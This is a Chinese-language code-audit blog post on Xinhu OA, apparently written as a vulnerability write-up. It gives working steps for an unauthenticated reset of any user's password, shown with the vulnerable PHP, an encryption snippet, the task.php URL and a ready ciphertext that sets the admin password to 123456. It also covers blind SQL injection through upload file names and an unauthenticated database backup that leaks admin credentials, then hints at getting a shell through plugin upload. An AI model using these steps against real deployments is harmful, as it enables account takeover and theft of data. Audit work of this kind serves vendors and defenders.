信呼oa最新版本代码审计
仅供研究参考,使用以下漏洞信息进行攻击造成的后果与作者无关。
审计这套代码的原因是看到空白师傅在群里面问 由于无聊下午就去看了看
先大概看下整套源码的路由规则这些
index.php
引入配置文件config.php
rockClass
这个类里面是一些过滤sql注入和xss的一些东西
然后进行初始化 我们看看这个c方法
实例化插件用的 这个jm就是一个加解密插件
其gettoken方法相当于就是get方法获取参数 第二个参数为默认值
最后index.php包含了这个View.php
就是实现对应的方法了
当然这套源码的入口不止这一个 还有task.php
后面我看了下 只有这个task目录下面的一些可以利用 其余的大部分都要登陆
0x01 修改任意用户密码
看到 reimplatAction.php
public function indexAction()
{
$body = $this->getpostdata();
if(!$body)return;
$db = m('reimplat:dept');
$key = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
if(!$bodystr)return;
$data = json_decode($bodystr, true);
$msgtype = arrvalue($data,'msgtype');
$msgevent= arrvalue($data,'msgevent');
//用户状态改变停用
if($msgtype=='subscribe'){
$user = arrvalue($data, 'user');
$zt = '0';
if($msgevent=='yes')$zt = '1';
if($msgevent=='stop')$zt = '2';
$db->update('`status`='.$zt.'',"`user`='$user'");
}
//修改手机号
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");
}
//修改密码
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');
$pass = arrvalue($data, 'pass');
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
}
}
}
就这一个方法
很明显可以看到 得到我们的输入流 然后将其进行解密,如果$msgtype为editpass的话就可以直接修改任意用户的密码
我们看到这个getthkey方法
默认安装完系统这个是空的 返回的也就是空string的md5值 然后我们可以利用其strlook方法进行加密 就能成功修改密码
$test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);
echo $test;
访问http://xinhu:8888/task.php?m=reimplat|api&a=index
得到一串加密的字符
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEY2JnmW5uUq0:
然后再直接post过去就能成功修改密码
然后就能修改管理员密码登陆后台了
0x02 文件上传处sql盲注
前提需要登陆
看到upload下的upfileAjax方法
注意这一行也就是每次上传完后将其插入到数据库的一个操作
$arr = c('down')->uploadback($upses, $thumbnail, false);
虽然这里经过了这个replacefile方法进行了一些过滤 但没卵用
我们进入后台后找一个上传头像的地方 然后修改文件名进行注入
当然由于盲注 利用起来也不是很好利用
0x03 未授权备份
task下的sysAction.php
beifen方法实例化了beifen模型类 调用start方法
可以看到直接备份了全部数据到upload/data目录下
访问完http://xinhu:8888/task.php?m=sys|runt&a=beifen 之后就会产生备份文件
文件夹命名就是时间
这里也能拿到管理员账号密码数据 当然貌似好像需要知道数据库前缀 我这里就是xinhu 才能down到数据
然后后台getshell就不用多说了
本地上传zip压缩文件安装插件的功能 懂得都懂